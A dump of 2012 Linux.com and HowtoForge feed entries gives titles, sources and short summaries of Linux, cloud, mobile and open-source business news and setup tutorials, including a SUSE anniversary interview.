author: OStatic
source:
https://www.linux.com/news/software/applications/582448:business-apps-are-becoming-integrated-with-google-drive

description:
<p>Recently, Google introduced its Google Drive cloud storage service, and with it you can sign up for 5GB of free cloud storage, and use it efficiently with your Android device. We've also made the point that Google Drive will provide a form of rescue for Google's Chrome OS, which has been criticized by some for its cloud-centric focus and inflexibility with standard kinds of storage. By filling the storage gap in Chrome OS, Google can appeal to enterprise users with incentives for free Google Drive storage in the cloud in combination with Chrome OS. And now, it's clear from the ecosystem that is taking shape around Google Drive that that is a point of focus for Google. Already, partnerships focused on business users are cropping up around Google Drive. For example, RightSignature, which offers ways to get documents completed and signed online, has announced an integration with Google Drive. The integration with RightSignature means users can send documents stored in Google Drive for an e-signature with a few clicks. When the online signature is completed, signed documents are automatically saved in Google Drive. This is clearly aimed at business users. Think of how a real estate agent might use the service. Syncdocs is another service that...</p>


title: Xoreax Software Finds Diamonds in the Cloud
author: insideHPC
source:
https://www.linux.com/news/enterprise/cloud-computing/582457:xoreax-software-finds-diamonds-in-the-cloud

description:
<p>Xoreax Software announced recently that diamond-producer Sarin Technologies has has adopted the company’s IncrediBuild-XGE acceleration software. Sarin is using IncrediBuild-XGE to accelerate the performance of Sarin Advisor, a specialized diamond analysis application that maximizes the value of raw diamonds. The software calculates millions of potential diamond cutting options and identifies optimal cutting patterns based on stone attributes including size, weight, and internal flaws. Our adoption of...</p>


title: Open Recall: Fedora 17 on Mac, libusb Fork and an x86 Android Image
author: The H
source:
https://www.linux.com/news/software/applications/582458:open-recall-fedora-17-on-mac-libusb-fork-and-an-x86-android-image

description:
<p>Open Recall is a new space on The H for those things which are too small to package as news but are worth the linkage. Open Recall collates the interesting stories which didn't quite make the cut.</p>


title: Tiny Pluggable Linux ARM Computers Are Red-Hot
source: https://www.linux.com/learn/tutorials/582501:tiny-pluggable-linux-arm-computers-are-red-hot
author: Carla Schroder
description:
<p>
	The new wave of fun geek toys is inexpensive, hackable, tiny Linux-powered ARM computers, and they&#39;re red hot. This is the year to go small.</p>


title: GameStop Rolls Out Android Tablets With Pre-Loaded Games To 1,600 Stores
author: TechCrunch
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/583369:gamestop-rolls-out-android-tablets-with-pre-loaded-games-to-1600-stores

description:
<p>Diversification is the key to longevity. With that likely in mind, GameStop just announced wide-spread availability of Android tablets throughout its chain of retail stores. This comes after a 200 store trial that started last October. These aren’t ordinary Android tablets, though. GameStop is preloading the Samsung, Asus, Acer, and Toshiba with extra gaming titles such as...</p>


title: Does Your Device Support OpenCL?
author: insideHPC
source:
https://www.linux.com/news/featured-blogs/147:high-performance/583379:does-your-device-support-opencl

description:
<p>Vincent Hindriksen from StreamComputing writes that it can be difficult to determine if your CPU supports OpenCL, so he put all the information in one handy place. Often it is not clear how OpenCL works on CPUs. If you have a 8 core processor with double threading, then it mostly is...</p>


title: Wine 1.5.5 Adds Support for Mono as an Add-On Package
author: The H
source:
https://www.linux.com/news/software/applications/583383:wine-155-adds-support-for-mono-as-an-add-on-package

description:
<p>The new development release of Wine includes support for installing Mono as a Wine add-on package as well as installing the .NET 4.0 runtime...</p>


title: Ars Gear: The Old Windows PC Resurrected with Ubuntu
author: ArsTechnica
source:
https://www.linux.com/news/software/applications/583391:ars-gear-the-old-windows-pc-resurrected-with-ubuntu

description:
<p>I love buying gadgets, and I'm not one to deprive myself. My house has just about every piece of equipment I've ever lusted after, from a Mac Mini hooked up to an Apple Cinema Display to a Sony Bravia 3D TV connected to my PS3. I have a MacBook Air, PS Vita, iPad, Nintendo 3DS, Kindle touch—the list goes on.


title: SUSE Turns 20, Ascends to the Cloud
source: https://www.linux.com/news/featured-blogs/200:libby-clark/577950:suse-turns-20-ascends-to-the-cloud
author: Libby Clark
description:
<p>Congratulations to SUSE on celebrating its 20<sup>th</sup> anniversary this year. The company has successfully evolved from a three-man consultancy in Germany that produced one of the first Linux distributions, to an international platform for enterprise computing with a future in cloud computing. VP of Engineering Ralf Flaxa reminisces here about the company’s two decades in business and makes predictions about where it’s headed in the next 20 years.</p>
<p><strong>Linux.com: </strong>What’s the significance of 20 years in business?</p>
<p><strong>Ralf Flaxa:</strong> The significance comes in our longevity, which even surprises us to a degree. In fact, our first reaction was “Hey, 20 years!” There have been many other distributions that have come and gone – we were one of the first and we’re still here. We view the staying power as very significant.</p>
<p>The essence of the milestone doesn’t only speak to our experience, but in our ability to help develop the overall community of Linux while becoming a leader on the business side. For example, SLES was the first fully-supported enterprise Linux distribution. Building an enterprise-class version of Linux took the first step in the technology’s growth in the business community, which is widely supportive of Linux now. So did early support for mission-critical computing, a key advantage which Linux is now known for within enterprise IT.</p>
<p>We’re proud to have worked on such a game-changing technology; we see ourselves as an example of the technology’s success.</p>
<p><strong><strong>Linux.com:&nbsp;</strong></strong>How has SUSE’s history evolved with the popularity of Linux?</p>
<p><strong>Flaxa:&nbsp;</strong>As you might know, SUSE started as S.u.S.E – loosely translated in German for “software and system development.” It was primarily a consulting company, with Linux as one of the areas of their emerging business.</p>
<p>But the smartest decision the founders of SUSE made was to believe in Linux early on. It wasn’t popular at the time, but as Linux grew, so did SUSE’s business. While some companies hedged their assets with other open source projects, SUSE bet on Linux – that bet is still paying off. It was the center of our business model.</p>
<p>With Linux at its core, SUSE did a lot to introduce Linux to a larger group of people. Many people don’t remember SUSE as a publishing company, but it issued a book and a CD for people to start using Linux easily. Those days were before the Internet, so SUSE invested much of its resources to help students access and use Linux more easily and effectively. SUSE didn’t just ride the wave – it did a lot to make it more known; more accessible; more usable. As Linux took off, the technology started helping SUSE’s name recognition as well, so I’d say that early support paid off on a number of fronts.</p>
<p>People now think about Linux as an empowered community of developers that promote an open model. With the community in mind, the introduction and growth of openSUSE is important to cite as well. What started as a SUSE-funded project now has the support of 30,000 people around the world. We helped create and support the community whose passion and creativity is what makes Linux so special. It’s one of our proudest accomplishments.</p>
<p><strong><strong>Linux.com:&nbsp;</strong></strong>What are some of the biggest milestones SUSE experienced during the first two decades?</p>
<p><strong>Flaxa:&nbsp;</strong>The first key milestone was the distribution in the form of CDs in books and magazines. It seems elementary by today’s standards, but it made Linux available for everyone, cheaply and easily.</p>
<p>Another milestone was the ability for graphical, automated installation, so Linux installations could be done graphically and recognize hardware automatically. At that time, the majority of users were very technical, fine with a command-line. They could perform the difficult installations, but it wasn’t until Linux was more usable that it became more popular. SUSE contributed a lot to make this process a reality.</p>
<p>After installation advances came the support by the database vendors. After IBM joined in 2000, we had Oracle and Adabas offer their support. That was huge – once the first peg fell, the others followed.</p>
<p>The investment from IBM in 2000 was also highly important. That was the real support of an industry leader. In that context, SUSE can say we were the first with IBM on the mainframe, which actually became the start of SUSE Linux Enterprise Server.</p>
<p>The acquisition by Novell was another major milestone. It brought SUSE more international exposure. Before, it was more European. Even though SUSE was somewhat international, Novell made it really global.</p>
<p>And very recently, after the Attachmate Group acquired Novell, we've again established SUSE as an independent business unit with a laser focus on the enterprise Linux market and an even stronger commitment to the communities and projects that we are so passionate about.</p>
<p><strong><strong>Linux.com:&nbsp;</strong></strong>How has the company’s philosophy changed since 1992?</p>
<p><strong>Flaxa:&nbsp;</strong>If you ask the founders themselves, they’ll tell you they never had a company philosophy. But I think they did, whether they knew it or not. The philosophy of SUSE is a culture of open collaboration. SUSE is all about the freedom to access source code, make changes, play around and find new ways to make Linux better. While that philosophy started on a small level in Germany, what’s shifted is that freedom has expanded all over the world; all for the betterment of Linux.</p>
<p>That said, Linux has evolved into a big business. Of course, the founders wanted to make money. Paychecks are involved, which has made SUSE more of a business than its original philosophy. That has certainly changed, but it did show the world you can build a business on Linux. But with all of the business it does, SUSE is an open source-based company. It started with the core value and goal to collaboratively develop quality technology – and it will continue to use those core qualities and goals as the basis for all SUSE does.&nbsp;</p>
<p><strong><strong>Linux.com:&nbsp;</strong></strong>Where do you see SUSE going during the next 20 years?</p>
<p><strong>Flaxa:&nbsp;</strong>20 years is an eternity, but we see a few interesting developments. At the very beginning, when we first met Linus Torvalds, he said one very important thing: it all depends on the applications. He was right. Think about how far we’ve come in terms of applications certified on Linux in the enterprise. Most of the things you need to run a business work on Linux. This would have been unheard of 20 years ago, so anything is possible.</p>
<p>One new frontier for Linux comes in the consumer market. If you look at tablets, smartphones, small devices, the whole UI is changing. The experience is changing. You have a device that accesses the cloud.&nbsp; You have an app for everything – and thanks to Android, Linux is getting all the apps for the regular user you always needed.</p>
<p>For enterprise Linux and SUSE as a business, we see a new frontier in cloud as well – both the public cloud and the private cloud. SUSE has already had its “eyes in the clouds” by joining and participating in OpenStack. We’ll have a series of innovative technologies stemming from that project coming this year, and we’re placing a great deal of resources in providing and solidifying open source’s place in the cloud-based technology.</p>
<p>You’ll see a lot of Linux in everything we use – from tablets, smartphones, supercomputers, firewalls, even washing machines. 20 years from now, we really will see Linux everywhere. It will be so omnipresent, so visible, that the majority of people won’t even realize that it’s Linux. This will be true for enterprise businesses as well – the infrastructure behind their most demanding and mission critical systems, both in the cloud and in their data center, will be running on Linux. That’s the vision we have, and SUSE will play a major role in that change.</p>


title: The Best Idea Sins: Jim Whitehurst on the Red Hat Meritocracy
author: OpenSource.com
source:
https://www.linux.com/news/biz-os/governance/583562:the-best-idea-sins-jim-whitehurst-on-the-red-hat-meritocracy

description:
<p>There’s a Southern expression that goes, "Says easy, does hard." In this case, it’s easy to say that your company is focused on collaboration and ideas. But many executives conflate the terms "collaboration" and "consensus." Seeking consensus and creating a democracy of ideas is not what we at Red Hat...</p>


title: Why Zuck Will Go Soft for Facebook Phone - and Rebrand Android
author: The Register
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/583583:why-zuck-will-go-soft-for-facebook-phone-and-rebrand-android

description:
<p>Do some actual electronic engineering? Unlike Analysis&nbsp; Facebook's attempt to recruit smartphone engineers is being taken as proof that the boy Zuck is chasing mobile hardware again - but this ignores the cheaper and faster alternative of installing a Facebook OS onto existing devices.…...</p>


title: MongoDB Developer 10gen Raises $42 Million Round Led By New Enterprise Associates
author: TechCrunch
source:
https://www.linux.com/news/software/applications/583610:mongodb-developer-10gen-raises-42-million-round-led-by-new-enterprise-associates

description:
<p>10gen, the company behind the increasingly popular NoSQL database MongoDB today announced that it has secured a new $42 million financing round let by New Enterprise Associates. This round also includes participation from existing investors Sequoia Capital, Flybridge Capital Partners and Union Square Ventures. 10gen says that it plans to use the financing to “invest in product development for MongoDB and the MongoDB Monitoring Service and to better support its rapidly growing community and user base worldwide.” Including this round, 10gen has now raised more than $73 million. 10gen doesn’t discuss its revenues, but according to the company’s own data, its sales increased 50% quarter over quarter for the past five years. The company has also grown its team to 130 employees since early 2011. The company has offices in Palo Alto, New York City, Dublin and London. Among the company’s clients...</p>


title: Canonical Releases EC2 Image for Ubuntu ARM Server
author: The H
source:
https://www.linux.com/news/enterprise/cloud-computing/583657:canonical-releases-ec2-image-for-ubuntu-arm-server

description:
<p>Canonical has released an Amazon EC2 image that allows developers to test their applications running on the version of Ubuntu Server targeted at ARM hardware. The image allows users to quickly set up an emulated ARM environment...</p>


title: Sony Flavoring its 2011 Phones with Ice Cream Sandwich
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/583684:sony-flavoring-its-2011-phones-with-ice-cream-sandwich

description:
<p>The company has begun rolling out ICS for the rest of its 2011 lineup not already sporting the latest Android 4.0 update. [Read more]...</p>


title: Fedora 17 Released
source: https://www.linux.com/news/software/applications/583682:fedora-17-released
author: LWN
description:
<p>The Fedora 17 release is out. "Frankly, we believe this is the beefiest release ever -- chock full of condiments, more commonly known as Features, to customize your experience to your tastes. We take pride in our toppings, and in our fine ingredients; Fedora 17 includes both over- and under-the-bun...</p>


title: The Open Source Robotics Foundation (OSRF) Is Booting Up
author: OStatic
source:
https://www.linux.com/news/hardware/peripherals/583702:the-open-source-robotics-foundation-osrf-is-booting-up

description:
<p>For more than a decade, some of the more interesting work in the field of robotics has been driven by open source efforts. Open source robotics platforms have flourished, but they've also been fragmented, with software and hardware designs produced all around the world that have little to do with each other. That's why it's so promising that the folks behind Willow Garage--a robotics project that originated at Stanford University--have announced the Open Source Robotics Foundation (OSRF). We covered the initial details surrounding the foundation here, and now more information is beginning to appear at the OSRF site. At least 25 institutions are developing robotics applications on Willow Garage's own open robotics platform, but Willow garage announced the launch of the Open Source Robotics Foundation (OSRF) to help foster all kinds of robotics work. According to the OSRF announcement: "The OSRF is an independent, non-profit organization founded by members of the global...</p>


title: Is Facebook Circling Opera Software for a Possible Buy?
author: OStatic
source:
https://www.linux.com/news/software/applications/583703:is-facebook-circling-opera-software-for-a-possible-buy

description:
<p>While there is no word from Facebook yet confirming the rumors, there are multiple reports going around the web saying that Facebook may be looking to acquire the Opera browser. According to English site Pocket-lint, "Pocket-lint has heard from one of its trusted sources that the social networking giant is looking to buy Opera Software, the company behind the Opera&nbsp;web browser." This, would, of course, put Facebook squarely in the browser game along with Microsoft, Apple, Mozilla and Google.&nbsp; But would the move make sense for Facebook? When Google began development of its Chrome browser, many critics felt that it was too late to grab much market share among browsers, but Google proved the critics wrong. The company maintained that a best-of-breed browser could compete, and reasoned that with its own browser...</p>


title: Moonlight Is Dead, So Is Silverlight
source: https://www.linux.com/news/software/applications/584023:moonlight-is-dead-so-is-silverlight
author: Swapnil Bhartiya
description:
<p>Migel de Icaza, the creator of Mono, and Moonlight has announced that Moonlight will no longer be maintained.</p>


title: ARM Is Raised For The Linux 3.5 Kernel
source: https://www.linux.com/news/software/linux-kernel/584025:arm-is-raised-for-the-linux-35-kernel
author: Phoronix
description:
<p>There's a growing number of features coming about for the Linux 3.5 kernel. Covered so far has been the DRM GPU drivers, input, input, and other areas. The ARM architecture has also been enhanced with Linux 3.5...</p>


title: The Cloud's Killer App? SAP's Bid to Own the Enterprise Social Space
author: ReadWriteWeb
source:
https://www.linux.com/news/enterprise/cloud-computing/583825:the-clouds-killer-app-saps-bid-to-own-the-enterprise-social-space

description:
<p>If you measure the social activity inside enterprise-class networks, it may look like LinkedIn has a lock on the market. But if you study how employees actually connect with each other every day, Facebook is almost always the platform of choice. But because it's not really geared for businesses, it may be vulnerable to&nbsp;services that address needs tied specifically to the workplace. And SAP - of all companies - feels it may have the keys to the enterprise social space, including a supremely fast database and&nbsp;a way for employees to maintain a social profile based on her or his&nbsp;talents. "The cloud is the ultimate fabric where all the data resides," says Dinesh Sharma, SAP's vice president for cloud marketing, speaking with ReadWriteWeb, "whether it's data we own, or aggregations of data from other places that all come together through Web APIs - that drives a volume of data. You have access to it, and because applications are so easy to consume, it's a perfect fit for the real-time insights that HANA can produce." Sharma is outlining a strategy based on the success (which has yet to be proven, of course) of two key factors. One is HANA, which utilizes surprisingly ordinary database management schemes, but whose tables and schemas are arranged in large pools of memory rather than storage devices. That relocation of the proverbial operation table can, statistics indeed show, accelerate certain aspects of database applications by six orders of...</p>


title: Dell to Create its Own ARM Server Ecosystem
author: The H
source:
https://www.linux.com/news/enterprise/biz-enterprise/584038:dell-to-create-its-own-arm-server-ecosystem

description:
<p>Dell is working on clusters of up-to-48 micro-servers and a Linux-based software environment, with the aim of creating a complete ARM server ecosystem...</p>


title: GENIVI 2 Compatible Automotive Platform from MontaVista
author: The H
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/584091:genivi-2-compatible-automotive-platform-from-montavista

description:
<p>Embedded systems specialist MontaVista has revamped its Automotive Technology Platform for in-vehicle information (IVI) systems. Version 2.0 is intended to be compatible with version 2.0 of the GENIVI standard...</p>


title: LibreOffice 3.5.4 Released, Faster Than Ever Before
author: Swapnil Bhartiya
source:
https://www.linux.com/news/software/applications/584060:libreoffice-354-released-faster-than-ever-before

description:
<p>The Document Foundation (TDF) has announced the relase of LibreOffice 3.5.4, the fifth version of the free office suite's 3.5 family.</p>


title: High-Availability Storage With GlusterFS 3.0. ...
author: Falko Timme
source:
https://www.linux.com/news/featured-blogs/147:high-performance/584112:high-availability-storage-with-glusterfs-30x-on-debian-squeeze-automatic-file-replication-mirror-across-two-storage-server

description:
<p>High-Availability Storage With GlusterFS 3.0.x On Debian Squeeze - Automatic File Replication (Mirror) Across Two Storage Servers This tutorial shows how to set up a high-availability storage with two storage servers (Debian Squeeze) that use GlusterFS. Each storage server will be a mirror of the other storage server, and files...</p>


title: Android 4.0.4 Rolls Out to Samsung Galaxy Nexus Phones
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/584122:android-404-rolls-out-to-samsung-galaxy-nexus-phones

description:
<p>The latest Android update is finally reaching the Galaxy Nexus phone, courtesy of Verizon. [Read more]...</p>


title: Purported Google Tablet Benchmark Points to Tegra 3, 7-inch Screen
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/584144:purported-google-tablet-benchmark-points-to-tegra-3-7-inch-screen

description:
<p>A benchmark has popped up on Rightware showing performance by a "Google Asus Nexus 7" tablet, lending even more credence to claims that the device is launching soon. [Read more]...</p>


title: The Linux Foundation Releases Free FOSS Component Tracker
author: OStatic
source:
https://www.linux.com/news/software/applications/584152:the-linux-foundation-releases-free-foss-component-tracker

description:
<p>As open source software continues to proliferate in businesses and large enterprises, it gets ever harder to track exactly which components are being used and whether they're being used in compliance with licenses. This is no small issue. Only a couple of years ago, Red Hat CEO Jim Whitehurst predicted that soon 100 percent of significant software platforms and applications will contain open source components. With a nod to tracking and compliance of installed open source software, The Linux Foundation has announced the availability of The Linux Foundation FOSS Bar Code Tracker. Here is how it works. &nbsp;The FOSS Bar Code Tracker works via QR codes, which are increasing in popularity. Released as an open source project under the MIT license, the tracker uses an auto-generated, custom QR code for each product. The QR code contains important information on the Free and Open Source Software...</p>


title: Get a Grip on Your Collections with GCstar
source: https://www.linux.com/learn/tutorials/584191:get-a-grip-on-your-collections-with-gcstar
author: Rikki Endsley
description:
<p>
	If your comic books are chaos, or your board game collection has gone out of control, GCstar might be the solution you need. GCstar is a free, open source collection management application for GNU/Linux systems.</p>


title: More Cloud Investment: Sonian Picks Up $13.6M For Cloud Archiving And Search
author: TechCrunch
source:
https://www.linux.com/news/enterprise/cloud-computing/584526:more-cloud-investment-sonian-picks-up-136m-for-cloud-archiving-and-search

description:
<p>As more businesses and consumers sign up to services that operate in the cloud, so more companies working in this space continue to get attention from investors. The latest is Sonian, a specialist in cloud-based archiving and search services, which has picked up a C-round of $13.6 million. With the funding, OpenView Venture Partners becomes a strategic partner of Sonian. OpenView — you may recall — in March announced a new $200 million fund specifically for cloud and big data investments. Existing investors Summerhill Venture Prtners and Prism VentureWorks also participated, and this brings the total invested in Sonian to-date is now at $27 million. Worth pointing out, too, that one of Sonian’s other investors is Amazon, which participated in the company’s last round&nbsp;where it raised $9 million.</p>


title: Open API lessons for LinkedIn and Facebook
source: https://www.linux.com/news/software/applications/584560:open-api-lessons-for-linkedin-and-facebook
author: The Register
description:
<p>Code to play, not pay to play Open... and Shut&nbsp; One of the cardinal rules of open source is reciprocity: you can use my open-source code under the same terms that it was given to me. But as open source shifts to open APIs, "open" is increasingly a one-way street.…...</p>


title: Bodhi Linux 2.0 Alpha Arrives for Testing
source: https://www.linux.com/news/software/applications/584566:bodhi-linux-20-alpha-arrives-for-testing
author: The H
description:
<p>The first pre-release build of version 2.0 of Bodhi Linux, a minimalistic Enlightenment-desktop-based distribution, is now available for testing...</p>


title: A Conversation with the Community
source: https://www.linux.com/news/featured-blogs/135:distronews/584567:a-conversation-with-the-community
author: Linux.com Editorial Staff
description:
<p>As Mandriva is entering a new phase in its history it has started an important conversation with the community about the future of the Mandriva Linux distribution, its governance and its goals. My name is Charles-H. Schulz, you may know me from other Free &amp; Open Source Software projects, and...</p>


title: New HPC500 Org Seeks Applicants
author: insideHPC
source:
https://www.linux.com/news/featured-blogs/147:high-performance/584579:new-hpc500-org-seeks-applicants

description:
<p>Clipped from: www.hpc500.com (share this clip) Intersect360 Research is seeking applicants for their new HPC500 organization, an exclusive community of HPC users intent on shaping the future of the HPC industry. The HPC500 are the bellwethers of the HPC industry,” says Intersect360 Research CEO Addison Snell. “These are the organizations who bring high performance computing technology to bear on challenging problems in...</p>


title: Chrome OS Sells Out But in a Good Way
author: Eric Brown
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/584591:chrome-os-sells-out-but-in-a-good-way

description:
<p>Lightweight Linux distributions have grown in popularity in recent years, but few have been as buoyant as Google's Chrome OS. When it debuted a year ago on Samsung and Acer Chromebooks, the web-centric operating system was basically a Chrome browser and a media player linked to cloud services. The open source platform has evolved over the last year, however, and on<a href="http://googleblog.blogspot.com/2012/05/next-step-in-chrome-os-journey.html"> May 29 Google unveiled </a>a more robust version 19 on Samsung's new Chromebook Series 5 550 laptop and Chromebox Series 3 net-top.


title: Fedora 18 to Support UEFI Secure Boot
source: https://www.linux.com/news/software/applications/584597:fedora-18-to-support-uefi-secure-boot
author: The H
description:
<p>Microsoft will sign a shim bootloader which will allow Fedora to boot on Windows 8/UEFI Secure Boot systems. The rest of Fedora will be signed with Fedora's own keys, including the kernel and kernel modules...</p>


title: Intel Redefines Ultrabooks for the Ivy Bridge Era
author: CNET
source:
https://www.linux.com/news/hardware/laptops/584593:intel-redefines-ultrabooks-for-the-ivy-bridge-era

description:
<p>For its new family of Core i-series CPUs, Intel has updated the specs required to earn one of its official ultrabook stickers. [Read more]...</p>


title: The 8 Cheapest Computers in the World [Computers]
source: https://www.linux.com/news/hardware/desktops/584615:the-8-cheapest-computers-in-the-world-computers
author: Gizmodo
description:
<p>Computers are more affordable these days than they ever have been. But what if affordable ain't affordable enough—what if you need absolute, rock-bottomest, dirt cheap? Our friends at Laptop Mag rounded up the 8 cheapest computers in the world, just for you. More&nbsp;»...</p>


title: Open Cloud Roundup: Top Stories of the Week
author: Jennifer Cloer
source:
https://www.linux.com/news/featured-blogs/185:jennifer-cloer/584753:open-cloud-roundup-top-stories-of-the-week

description:
<p>I'm pinch hitting on this weekly column for our Digital Content Editor Libby Clark just one more week before she returns to the office. Stories topping the list this week include Fedora 17 and its focus on open cloud integration, Mary Jo Foley's report that Microsoft Azure will, indeed, include persistent virtual machines for hosting Linux, and Oracle CEO Larry Ellison's take on cloud computing as illustrated in his onstage interview with Walt Mossberg at this year's D10 Conference.


title: Fedora 17 Enterprise Preview
source: https://www.linux.com/learn/tutorials/585025:fedora-17-enterprise-preview
author: Carla Schroder
description:
<p>Fedora is always loaded with new technologies, and the new Fedora 17 release has the most ever. Get a head start on what's going to appear in Red Hat Enterprise Linux by grabbing a copy of the new Beefy Miracle.</p>


title: Critical Vulnerability Derails Ruby on Rails
author: LWN
source:
https://www.linux.com/news/software/applications/585034:critical-vulnerability-derails-ruby-on-rails

description:
<p>The H reports on a newly-discovered SQL injection vulnerability in Ruby on Rails, affecting the 3.0.x, 3.1.x, and 3.2.x versions. "The vulnerability exists in versions 3.0 and later of Active Record, Rail's database layer, and is exposed when using nested query parameters. Code that directly passes parameters to a where...</p>


title: IPv6 Creates Opportunity for Linux in Embedded Computing: A Case Study
author: Amanda McPherson
source:
https://www.linux.com/news/featured-blogs/167:amanda-mcpherson/585129:ipv6-creates-opportunity-for-linux-in-embedded-computing-a-case-study

description:
<p>We recently profiled&nbsp;Compunetix, who delivers audio conferencing solutions to military agencies and their move from a proprietary embedded OS to Linux. Their migration was precipatated by a mandate by the U.S. Department of Defense that all products it purchases have iPv6 support. Our Linux Foundation Training Program helped Compunetix make the move to Linux through custom embedded Linux training.&nbsp; As&nbsp;Ferhat Cakrak, the Software Development Team Manager at Compunetix, says:&nbsp;“IPv6 is increasingly important in many industries—especially ours.&nbsp;But it’s not easy to implement in a proprietary OS.” A few...</p>


title: The Perfect Desktop - Xubuntu 12.04
source: http://www.howtoforge.com/the-perfect-desktop-xubuntu-12.04
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="42" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/xubuntu.gif" width="39" height="40" alt="" /></td></tr></table><p><b>The Perfect Desktop - Xubuntu 12.04</b></p>


<p>This tutorial shows how you can set up a Xubuntu 12.04
desktop that is a full-fledged replacement for a Windows desktop, i.e.
that has all the software that people need to do the things they do on
their Windows desktops. The advantages are clear: you get a secure
system without DRM restrictions that works even on old hardware, and
the best thing is: all software comes free of charge.</p>


title: Creating An NFS-Like Standalone Storage Server With GlusterFS 3.0.x On Debian Squeeze
author: Anonymous
source:
http://www.howtoforge.com/creating-an-nfs-like-standalone-storage-server-with-glusterfs-3.0.x-on-debian-squeeze

description:
<table align="left" cellpadding="0" cellspacing="0" width="36" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/debian.gif" width="33" height="40" alt="" /></td></tr></table>
<p><b>Creating An NFS-Like Standalone Storage Server With GlusterFS 3.0.x On Debian Squeeze</b></p>

<p>This tutorial shows how to set up a standalone storage server on Debian Squeeze. Instead of NFS, I will use GlusterFS
 here. The client system will be able to access the storage as if it was
 a local filesystem. GlusterFS is a clustered file-system capable of scaling to several 
peta-bytes. It aggregates various storage bricks over Infiniband RDMA or
 TCP/IP interconnect into one large parallel network file system. 
Storage bricks can be made of any commodity hardware such as x86_64 
servers with SATA-II RAID and Infiniband HBA.</p>


title: Running OXID eShop Community Edition (Version 4.5.9) On Nginx (LEMP) on Debian Squeeze/Ubuntu 11.10
author: Anonymous
source:
http://www.howtoforge.com/running-oxid-eshop-community-edition-version-4.5.9-on-nginx-lemp-on-debian-squeeze-ubuntu-11.10

description:
<table align="left" cellpadding="0" cellspacing="0" width="149" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/nginx.gif" width="146" height="40" alt="" /></td></tr></table><p><b>Running OXID eShop Community Edition (Version 4.5.9) On Nginx (LEMP) on Debian Squeeze/Ubuntu 11.10</b></p>

<p>This tutorial shows how you can install and run OXID eShop Community Edition (version 4.5.9) on a Debian Squeeze or Ubuntu 11.10 system that has nginx installed instead of Apache (LEMP = <b>L</b>inux + nginx (pronounced "<b>e</b>ngine x") + <b>M</b>ySQL + <b>P</b>HP).
 OXID eShop is a feature-rich ecommerce platform; I will use the 
Community Edition here which is licensed under an open source certified license
(GPL v3.0). nginx is a HTTP server that uses much less resources than 
Apache and delivers pages a lot of faster, especially static files.</p>


title: How To Configure Apache To Use Radius For Two-Factor Authentication On Ubuntu 12.04
author: Anonymous
source:
http://www.howtoforge.com/how-to-configure-apache-to-use-radius-for-two-factor-authentication-on-ubuntu-12.04

description:
<table align="left" cellpadding="0" cellspacing="0" width="56" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/apache.gif" width="53" height="40" alt="" /></td></tr></table><p><b>How To Configure Apache To Use Radius For Two-Factor Authentication On Ubuntu 12.04</b></p>

<p>This document describes how to add WiKID two-factor authentication to Apache 2.2.22 using mod_auth_radius on Ubuntu 12.04. It is also recommended that you consider using mutual https authentication for web applications that are worthy of two-factor authentication. Strong mutual authentication means that the targeted website is authenticated to the user in some cryptographically secure manner, thwarting most man-in-the-middle attacks.  The use of cryptography is key. While some sites use an image in an attempt to validate a server, it should be noted that any man-in-the-middle could simply replay such an image.</p>


title: Create And Restore Partition Images With Partimage
source: http://www.howtoforge.com/create-and-restore-partition-images-with-partimage
author: Anonymous
description:
<p><b>Create And Restore Partition Images With Partimage</b></p>


<p>Backups are usually made in one of two ways - either file-based
which means that single files are backed up, often via synchronization
and on an external disk, or image-based which means that a whole
partition is stuffed into an image file that can be restored on the
partition, containing everything there was on it. This tutorial covers
image-based backups using Partimage from a live desktop environment.</p>


title: The Perfect Desktop - Ubuntu Studio 12.04
source: http://www.howtoforge.com/the-perfect-desktop-ubuntu-studio-12.04
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="38" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-even" src="http://static.howtoforge.com/images/teaser/ubuntustudio.gif" width="35" height="40" alt="" /></td></tr></table><p><b>The Perfect Desktop - Ubuntu Studio 12.04</b></p>

<p>This tutorial shows how you can set up an Ubuntu Studio 12.04
desktop that is a full-fledged replacement for a Windows desktop, i.e.
that has all the software that people need to do the things they do on
their Windows desktops. The advantages are clear: you get a secure
system without DRM restrictions that works even on old hardware, and
the best thing is: all software comes free of charge. Please note that Ubuntu Studio 12.04 uses Xfce as the default desktop environment.</p>


author: Anonymous
title:
Virtual Multiserver Environment With Dedicated Web & MySQL, Email & DNS Servers On Debian Squeeze With ISPConfig 3

source:
http://www.howtoforge.com/virtual-multiserver-environment-with-dedicated-web-mysql-email-dns-servers-on-debian-squeeze-with-ispconfig-3

description:
<table align="left" cellpadding="0" cellspacing="0" width="116" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/ispconfig.gif" width="113" height="40" alt="" /></td></tr></table><p><b>Virtual Multiserver Environment With Dedicated Web &amp; MySQL, Email &amp; DNS Servers On Debian Squeeze With ISPConfig 3</b></p>
		
		
		
<p>This tutorial describes how you can set up a single dedicated server 
as a virtual multiserver environment using OpenVZ with dedicated Web 
&amp; MySQL, Email and DNS servers on Debian Squeeze. Also, you will 
learn how to maintain all these servers. As an addition, you will learn 
how to install some very useful packages on all of them, how to protect 
them and how to monitor them. At the end you will have a fully functional virtual multiserver environment, ready for shared hosting.</p>


title: Installing Nginx With PHP5 (And PHP-FPM) And MySQL Support (LEMP) On Ubuntu 12.04 LTS
author: Anonymous
source:
http://www.howtoforge.com/installing-nginx-with-php5-and-php-fpm-and-mysql-support-lemp-on-ubuntu-12.04-lts

description:
